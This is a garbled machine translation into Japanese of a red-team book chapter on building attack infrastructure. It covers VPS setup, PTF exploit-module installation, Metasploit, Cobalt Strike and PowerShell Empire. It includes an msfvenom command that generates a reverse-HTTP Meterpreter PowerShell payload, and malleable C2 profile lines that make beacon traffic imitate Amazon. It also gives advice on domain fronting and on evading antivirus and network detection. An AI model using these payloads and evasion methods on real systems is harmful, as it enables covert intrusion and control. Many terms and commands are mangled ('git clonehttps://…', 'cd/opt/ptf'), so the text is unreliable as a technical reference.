第1章試合前の準備 - インストール
翻訳者:@snowming
レッドチームのメンバーとして、私たちは通常、攻撃の目的にあまり注意を払いません(攻撃方法の詳細)。代わりに、これらの高度な脅威組織のTTP(戦術、テクニック手順)から詳細を学びたいと考えています。たとえば、これはFireeyeの公共脅威インテリジェンス分析レポートです。レポートから、この脅威組織はTwitterをC2サーバーとして使用しており、暗号化された画像と情報のステガノグラフィを保存するためのリポジトリとしてGithubを使用していることがわかります。このレポートを参照して、攻撃方法の特性に基づいてターゲットを絞った適切な防衛計画を作成して、会社がそのような攻撃を検出して傍受できるかどうかを確認できます。
APT攻撃の基本的な紹介をしましょう。 MITRによって提案されているATTCKマトリックス(敵対的な戦術、技術、および一般的な知識マトリックス)は、APT攻撃の詳細な分解です。このマトリックスには、さまざまな攻撃シナリオで使用されるさまざまなTTPの大規模なコレクションがあります。
商用ATTCKマトリックス-Windows
翻訳者のメモ:
上記のマトリックスは、Windowsプラットフォームに適したテクノロジーのみを拡張します。完全な商用エンタープライズATT&CKマトリックスには、MacOSおよびLinuxプラットフォーム向けのテクノロジーも含まれています。
マトリックスの内容は、元の本から厳密にコピーされています。それは、元の本の写真の解決が低すぎたからといって、読者の読書体験のために特別に新しい写真を作りました。 ATTCKマトリックスはまだ中国語で翻訳されていません。翻訳者の才能がシンプルで、あえて醜い翻訳を与えていないため、英語を保持しています。ただし、本にリストされているマトリックスコンテンツは、マトリックスが改訂されたためかもしれないマトリックスコンテンツとは異なることに注意する必要があります。したがって、Enterprise Matrixの公式Webサイトアドレス-Windowsは、読者のリファレンス用に与えられます。
別のリソースは、 @cyb3ropsによってコンパイルされたAPT組織とメソッドの継続的な更新リストです。このGoogleファイルには、疑わしいAPT組織と世界中の複数の国で使用されているツールセットがリストされています。 Redチームメンバーの場合、このドキュメントを参照して、さまざまな攻撃をシミュレートできます。もちろん、ドキュメントにリストされているのと同じツールを使用することはできませんが、同じ攻撃を行うために同様のツールを構築できます。
ブレークスルー演習を仮定する
セキュリティの問題に直面して、企業の正しい態度は、最初からそれが妥協されたと仮定することです。しかし、実際には、あまりにも多くの企業が、いわゆるセキュリティ構成または年間浸透テストを通じて安全であると考えています。私たちは思考の状態に入る必要があります。私たちは常に、悪が私たちの周りに潜んでいると仮定して、常に異常を探す必要があります。
これは、レッドチームの活動が浸透テストとは大きく異なる場所です。 Redチームの活動は、脆弱性ではなく対策の検出/提供に焦点を当てているため、よりユニークな評価を行うことができます。クライアントに大きな価値を提供する評価の利点は、想定される違反演習と呼ばれます。仮説的なブレークスルー演習では、遭遇する0日間は常にあります。それで、クライアントは、2番目と第3段階のステップの影響を認識して軽減できますか?
これらのシナリオでは、Redチームは社内の限られたチームと協力して、サーバーでカスタムマルウェアペイロードを実行します。このペイロードは、複数の方法で接続し、一般的なAVをバイパスし、メモリから余分なペイロードを実行できるようにする必要があります。本全体でペイロードの例をいくつか提供します。最初のペイロードが実行されると、すべての楽しみがここから始まります!
アクションを設定
これは、レッドチームイベントの私のお気に入りの部分です。最初のシステムを攻撃する前に、レッドチームのアクティビティ範囲を決定する必要があります。多くの侵入テストでは、目標を達成し、その単一のシステムに入ろうとし続けます。何かが失敗した場合、次のことに移ります。スクリプトがなければ、通常、このネットワークに非常に焦点を当てています。
Red Teamイベントでは、いくつかの目標から始めます。これらの目的は、を含むかもしれませんが、これらに限定されません
究極の目標は何ですか?適切な検出ですか?サーバーにフラグを取得する必要がありますか?データベースからデータを取得していますか?または、検出タイムネス(TTD)インジケーターを取得するだけですか?
コピーしたい公的な活動はありますか?
どんなテクニックを使用しますか? Miter ATTCKマトリックスの使用について説明しましたが、各カテゴリの正確な手法は何ですか?
Red Canary Research Groupは、各手法に関する詳細情報を提供しています。これらの詳細を表示するために少し時間がかかることを強くお勧めします。
顧客はどのツールを使用してほしいですか? Metasploit、Cobalt Strike、DNS CATなどの商用攻撃ツールソフトウェアはありますか?または自家製のカスタマイズツール?
良いニュースは、キャッチされることも評価の一部であるということです。 4〜5回キャッチされ、4〜5種類の環境で排除される侵略がいくつかあります。これは、顧客が予想通りに防御が機能している(または機能していない)ことを顧客に示します。本の最後に、メトリックを取得してこのデータを報告する方法を示すレポートの例をいくつか提供します。
外部サーバー
を設定しますレッドチームのアクティビティを構築するために、さまざまなサービスを使用しています。今日のVPSの世界では、インターネット上の攻撃者に抵抗する機械は予算を超えません。たとえば、私は通常、Digital OceanまたはAWSのLightsail ServerからDroplets Compute Serviceを使用して、VPSサーバーを構成します。これらのサービスを使用する理由は、通常、安価な(場合によっては無料)、Ubuntuシステム用のサーバーのオプションがあり、必要に応じてさまざまな地域のサーバーを購入することを選択できるためです。最も重要なことは、セットアップが非常に簡単です。数分以内に、複数のサーバーのMetasploitおよびEmpire Servicesをセットアップおよび実行できます。
この本では、AWSのLightsail Serverに焦点を当て、セットアップしたり、サービスを自動化したり、通常AWSに行くトラフィックを自動化したりできます。好きな画像を正常に作成した後、画像を複数のサーバーにすばやくクローンすることができます。これにより、既製のC2(コマンドおよびコントロール)ボックスを簡単に構築できます。
繰り返しますが、問題に陥らないように、VPSプロバイダーのサービス利用規約に従うようにする必要があります。
操作の重要なポイントは次のとおりです。
https://lightsail.aws.amazon.com/
インスタンスを作成します
少なくとも1GBのメモリを使用することを強くお勧めします
ハードディスクのサイズに一般的に問題はありません。好きなように選択できます
Linux/unix
オペレーティングシステムのみ - ubuntu
証明書をダウンロードしてください
CHMOD 600 CERT(翻訳者の注:所有者のみが読み取りおよび書き込み許可を持っています)
ssh -i cert ubuntu@[ip]
サーバーを構築するための簡単な方法は、TrustedSecの侵入テストフレームワーク(PTF)を統合することです。 PTFフレームワークは、あなたのために多くのハードワークを行い、他のすべてのフレームワークを作成できるスクリプトのコレクションです。すべてのエクスプロイトモジュール、情報収集モジュール、浸透後エクスプロイトモジュール、PowerShell攻撃モジュール、および脆弱性分析ツールを簡単にインストールしましょう。
sudo su-
Apt-Getアップデート
apt-getインストールpython
git clonehttps://github.com/trustedsec/ptf/opt/ptf
cd/opt/ptf ./ptf
モジュール/exploitation/install_update_allを使用します
モジュール/インテリジェンス収集/install_update_allを使用します
モジュール/爆発後/install_update_allを使用します
Modules/PowerShell/install_update_allを使用します
モジュール/脆弱性- 分析/install_update_allを使用します
CD /Pentest
次の図は、利用可能なすべてのモジュールを示しており、その一部は自分でインストールしました。
図:利用可能なすべてのモジュールのリスト
攻撃者VPSを見ると、マシンにインストールされているすべてのツールが表示されます。 Metasploitを開始したい場合は、MSFCONSOLEを入力できます。
図: /Pentestフォルダーにインストールされているすべてのツール
強力なiPtablesルールを作成することをお勧めします。これは攻撃サーバーになるため、SSH認証を開始できる場所、Empire/MeterPreter/Cobalt Strikeのペイロードを開始できる場所、およびサポートするフィッシングページを制限することをお勧めします。
2016年後半に覚えている場合、誰かが認識されていないリモートコード実行(RCE)(https://Blog.cobaltstrike.com/2016/09/28/cobalt-strike-rce-exploitate-reported/)を発見しました。確かに、攻撃されたサーバーによって顧客データが破損することを望んでいません。
AWSでKali Linux(または少なくともMetasploit)を実行している赤いチームがいくつか見てきました(:http://bit.ly/2qz2vn9を参照)。私の意見では、独自のシステムを作成しても構いません。しかし、より良いオプションは、複数のマシンを展開するための効率的で繰り返し可能なプロセスを作成することです。 Lightsailを使用することの最大の利点は、マシンを好みとして構成すると、1つのマシンをスナップショットして、その画像を使用して複数の新しいインスタンスを展開できることです。
環境を次のレベルに引き上げたい場合は、Coalfire Instituteのチームをご覧ください。カスタムモジュールを構築して、すべてのハードワークと自動化を実行します。 Red Baronは、Terraformのモジュールとカスタム/サードパーティプロバイダーのセットであり、Redチーム向けの柔軟で1回限り、安全で柔軟なインフラストラクチャを自動的に作成します。フィッシングサーバーの構築、コバルトストライクインフラストラクチャ、DNS C2サーバーの作成など、Terraformを使用してすべて実行できます。
https://github.com/coalfire-research/red-baronをチェックして、すべての異なるモジュールを表示して、独自のインフラストラクチャをすばやく構築してください。
赤いチームのコアツール
Redチームは多くのツールを使用する場合がありますが、最もコアツールのいくつかについて説明しましょう。 Redチームのメンバーとして、私たちの目標は環境を破壊することではなく(これは最も興味深いものですが)、実際の攻撃を複製して、顧客が保護されており、非常に短い時間で攻撃を検出できるかどうかを確認することであることを忘れないでください。前の章では、他のAPT組織から攻撃者のプロファイルとツールセットをコピーする方法を学んだので、最も一般的なREDチームツールのいくつかを確認しましょう。
metasploitフレームワーク
この本は、以前の本のようにメタプロイトの深さにはなりません。 Metasploitフレームワークは2003年以来元々開発されましたが、今でも素晴らしいツールです。これは、元の開発者H.D.の継続的なサポートによるものです。ムーアと非常に活発なコミュニティ。毎日更新されていると思われるこのコミュニティ主導のフレームワークには、最新の脆弱性の搾取、浸透後の搾取モジュール、補助モジュールなどがすべてあります。
Red Team Projectの場合、Metasploitを使用してMS17-010 Eternal Blueの脆弱性を介して内部システムを侵害して最初のイントラネットシェルを取得するか、MetaSploitを使用してソーシャルエンジニアリング攻撃のメータープレターのペイロードを生成する場合があります。
後の章では、Metasploitペイロードを再コンパイルし、ウイルス対策ソフトウェアとネットワーク監視をバイパスする方法を紹介します。
混乱しているメータープレターのペイロード
ターゲットでソーシャルワークの試みを行っている場合、ペイロードの運送業者としてWordまたはExcelドキュメントを使用する場合があります。ただし、潜在的な問題は、MeterPreterのペイロードにバイナリファイルを含めることも、ターゲットマシンにWebからペイロードをダウンロードさせることもできない可能性があることです。これらの操作は、ターゲットマシンのウイルス対策ソフトウェアのアラートをトリガーする可能性があるためです。だから、ここにファジングにPowerShellを使用して、簡単なソリューションがあります。
MSFVENOM -PAYLOAD WINDOWS/X64/METERPRETER_REVERSE_HTTP -FORMAT PSH -OUT METERPRETER -64.PS1 LHOST=127.0.0.1
難読化を次のレベルに引き上げ、Unicornなどのツールを使用して、この本で詳細にカバーするファジーパワーシェルベースのメータープレターペイロードを生成することもできます。
さらに、信頼できる機関によって発行されたSSL/TLS証明書を使用すると、特定のネットワークでID(侵入検知システム)をバイパスするのに役立ちます。詳細については、実装するには次のリンクを参照してください:MeterPreter Paranoidモード。
最後に、この本の後半では、Metasploit/MeterPreterを使用してホストベースとネットワークベースの検出ツールをバイパスする方法について説明します。
コバルトストライク
コバルトストライクは、私のお気に入りのレッドチームシミュレーションツールの1つです。コバルトストライクとは何ですか?これは、後期段階で持続する浸透、水平方向の動き、交通の隠れ、およびデータの盗難のためのツールです。コバルトストライキには直接的な搾取はなく、最新の0日間の脆弱性でシステムを侵害していません。フィッシングキャンペーンの一部としてサーバーで悪意のあるCSコードを実行しているか、CSを使用している場合、CSがどれほど広範で強力なCSであるかを感じることができます。マシンでCobalt Strikeのペイロードを実行できたら、C2サーバー(TeamServer)に戻るビーコン(リモートトロイの木馬)接続を作成します。
新しいコバルトストライクライセンスの費用は3,500ドル(1人のユーザーの場合は1年)ので、安価なツールではありません。ただし、ソフトウェアには無料の限定試験バージョンがあります。
コバルトストライクインフラストラクチャ
上記のように、インフラストラクチャの観点から、このような再利用可能で非常に柔軟な環境をセットアップしたいと考えています。コバルトストライクはリダイレクトをサポートします。コバルトストライクで使用されているC2ドメイン名が破壊された場合、新しい環境を作成および有効にする必要はありません。新しいC2ドメイン名を交換するだけです。 SOCATを使用してこれらのリダイレクターの構成に関する詳細情報をご覧ください:リンク1リンク2
リダイレクトを改善するには、ドメイン名プリセット(ドメイン名カバー)を使用できます。ドメイン名の前置詞は、他のドメイン名とインフラストラクチャテクノロジーをコントローラーリダイレクトとして使用するテクノロジーのコレクションです(参照リンク)。これは、Amazon CloudのCloudFrontや他のGoogleホストなど、人気のあるコンテンツ配信ネットワーク(CDN)を使用して、トラフィックソースを隠すことで実行できます。これは、過去に異なる攻撃者によって悪用されてきました(リンクを参照)。
これらの高報告ドメインを使用することにより、HTTPまたはHTTPSからのトラフィックは、悪意のあるC2サーバーではなく、これらのドメインと通信しているように見えます。これはすべてどのように機能しますか?比較的抽象的な例では、すべてのトラフィックは、クラウドフロントの主要なドメイン名であるA0.awsstatic.comなど、CloudFrontの主要な完全資格のドメイン名(FQDNS)に送信されます。リクエストでホストヘッダーを変更すると、すべてのトラフィックがクラウドフロント配信にリダイレクトされ、最終的にトラフィックがコバルトストライクC2サーバーに転送されます(リンクを参照)。
HTTPホストのヘッダーを変更することにより、CDNはトラフィックを簡単に正しいサーバーに戻します。 Redチームは、このテクノロジーを使用して、高表現ドメインを使用してC2サーバーからのトラフィックを隠しています。
ドメイン名の前提条件をサポートする2つの異なる企業からの2つの優れたリソース:
Cyberarkはまた、Googleのアプリ製品を使用してwww.google.com、mail.google.com、またはdocs.google.comを介してトラフィックを流れるように見えるようにする方法を紹介した良いブログ投稿を書きました。
Vincent Yiuは、Alibaba CDNを使用して独自のドメイン名の事前攻撃をサポートする方法に関する記事を書きました。
コバルトストライクは、ドメイン名プリセットをサポートできる唯一のツールではなく、メータープレターを介して実行することもできます(リンクを参照)。
注:この本が公開されたとき、AWS(Google Cloudでさえ)がすでにドメイン名プリセット(https://amzn.to/2i6lsry)を保護し始めていました。これは、このタイプの攻撃を防ぐのではなく、それを利用するために異なるサードパーティのリソースを必要とするだけです。
インフラストラクチャの一部ではありませんが、内部環境でビーコンがどのように機能するかをまだ理解する必要があります。運用上のセキュリティの観点から、簡単に発見されクリアされる永続的な接続の確立を避ける必要があります。 Redチームのメンバーとして、クライアントの一部がBlueチームによって発見されると仮定する必要があります。すべてのホストが1つまたは2つのC2サーバーと通信した場合、ブルーチームはインフラストラクチャ全体を簡単に根こそぎにすることができます。幸いなことに、Cobalt Strikeは、イントラネットホスト間のSMBベースのビーコンの使用を相互作用のために使用することをサポートしています。これにより、感染したコンピューターを通常の適切なビーコンでC2サーバーに接続し、内部ネットワーク上の他のすべてのサーバーをSMBプロトコルを介して最初に感染したホストと通信することができます。この接続により、Blueチームがレベル2システムの問題を検出し、法医学分析を実行すると、攻撃に関連付けられたC2サーバードメイン名を特定できない場合があります。
コバルトストライクは、ビーコン通信を操作できます。これは、レッドチームメンバーにとって非常に便利な機能です。カスタムC2構成ファイルを使用して、感染したホストシステムからのすべてのトラフィックを通常のトラフィックと同じように見せることができます。ここで、レイヤー7ネットワークアプリケーションレイヤーのイントラネット環境がますますフィルタリングすることがわかります。多くの場合、ブルーチームは、このレイヤーのネットワーク通信における異常なトラフィックを探しています。それでは、どのようにしてC2通信を通常のWebトラフィックのように見せることができますか?これは、カスタマイズ可能なC2プロファイルが作用する場所です。この例を見てください。この例を読むと、いくつかの明白な情報が表示されます。
これにより、URIパスでHTTPリクエストが生成されることがわかります。
set uri“/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books”;
ホストヘッダーはAmazonに設定されています:
ヘッダー「ホスト」「www.amazon.com」;
一部のカスタムサーバーヘッダーでさえ、C2サーバーから送信されます。
ヘッダー「x-amz-id-1」「thkuyezkkkpgy5t42pzt」;
ヘッダー "x-amz-id-2" "a21yz2xrndntddgrsa212bgv3yw85amzuzw9ydg5rzmruz2t
多くの赤いチームがこれらのプロファイルを多くの異なるアクティビティで使用しており、多くのセキュリティベンダーがすべての一般的なカスタムプロファイルの指紋署名を作成しています。この問題を解決するために、私たちにできることは:です。構成ファイル内のすべての静的文字列が変更され、すべてのユーザーエージェント情報が変更され、SSLは実際の証明書で構成され(Cobalt StrikeのデフォルトSSL証明書を使用しないでください)、Jitterレートを調整し、クライアントのビーコン時間を変更します。最後のメモは、Post(http-post)コマンドを介して通信を確保することです。そうしないと、カスタム構成ファイルを使用する場合に多くの問題につながる可能性があるためです。構成ファイルがhttp-getを介した通信を規定している場合でも機能しますが、大きなファイルのアップロードは常に制限されます。 GETリクエストは通常2048文字に制限されることを忘れないでください。
SpectorOpsセキュリティチームは、難読化C2構成ファイルをカスタマイズするプロジェクトも作成しました。
翻訳者の注:このスクリプトは、Cobalt Strikeの構成ファイルを署名検出ソフトウェアをバイパスするために難読化することができます。原則は、提供された辞書のランダム文字列に変数を置き換え、新しい順応性C2構成ファイルを出力することです。
コバルトストライクの攻撃者スクリプト
コバルトストライクプロジェクトには多くの貢献者がいます。 Aggressor Scriptingは、スクリプト可能なIRCクライアントとボットに触発された、レッドチームの運用と対戦相手シミュレーションのためのスクリプト言語です。それを開発するには2つの目的があります。
長期にわたるロボットを作成して、仮想レッドチームメンバーをシミュレートし、ハックすることができます
また、ニーズに応じて、コバルトストライククライアントの機能を拡張および変更することもできます。公式紹介ページ:https://www.cobaltstrike.com/aggressor-script/index.html
例:harleyqu1nnは、1つのプロジェクトにさまざまな攻撃的なスクリプトを入れて、その後のエクスプロイトに使用するために:http://bit.ly/2qxiwpe
PowerShell Empire
Empireは、純粋なPowerShell 2.0 Windowsプロキシと純粋なPython 2.6/2.7 Linux/OS Xプロキシを含む晩期のエクスプロイトフレームワークです。これは、以前のPowershell EmpireとPython Empyreプロジェクトの合併です。このフレームワークは、暗号化された安全な通信と柔軟なアーキテクチャを提供します。 Powershellの観点から、EmpireはPowerShell.exeなしでPowerShellエージェントを実行する能力を実装しています。また、エンパイアには、キーボードロガーからミミカッツまで、迅速に展開できるエクスプロイトモジュールがたくさんあります。エンパイアは、ネットワーク検出を回避するために通信を調整することもできます。これらの機能はすべて、実用的なフレームワークにカプセル化されています。
レッドチームのスタッフにとって、Powershellは私たちの親友の一人です。有効なペイロードを初期化した後、その後のすべての攻撃はメモリに保存されます。帝国の最大の利点は、開発者によって積極的に維持および更新されているため、最新のポストエクスプロイトモジュールを使用して攻撃できることです。また、LinuxとOS XのC2接続もあります。したがって、Macベースのオフィスマクロを作成することができ、実行されたときに帝国に新しいプロキシを持つことができます。
この本を通して帝国をより詳細に紹介し、それがどれほど強力かを理解できるようにします。帝国のセットアップに関しては、安全に構成していることを確認することが重要です。
証明書パス証明書を真の信頼できるSSL証明書に設定します。
DefaultProfileエンドポイントを変更します。多くのレイヤー7ファイアウォールは、正確な静的エンドポイントを探しています。
通信に使用されるユーザーエージェントを変更します。
本の最初の2つのエディションでは、Metasploitのソースファイルが自動化に使用されており、Empireは自動的に実行されたスクリプトをサポートしていると述べました。
帝国を走る:
帝国を初期化します
cd/opt/Empire ./setup/reset.sh
やめる
出口
証明書をインストールする(できれば実際の信頼できる証明書を使用する)
./setup/cert.sh
emを実行し始めます
Recommended Comments